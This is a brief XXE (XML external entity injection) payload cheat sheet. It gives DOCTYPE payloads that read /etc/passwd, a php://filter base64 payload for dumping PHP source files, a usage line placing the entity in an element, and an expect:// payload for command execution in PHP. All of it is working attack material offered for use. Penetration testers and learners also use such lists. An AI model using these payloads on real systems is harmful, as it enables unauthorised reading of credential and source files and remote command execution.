using php-base64 when reading file that are not being loaded
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=FILE.php"> ]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# usage
<var>&xxe;</var>
RCE using expect (PHP)
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id"> ]>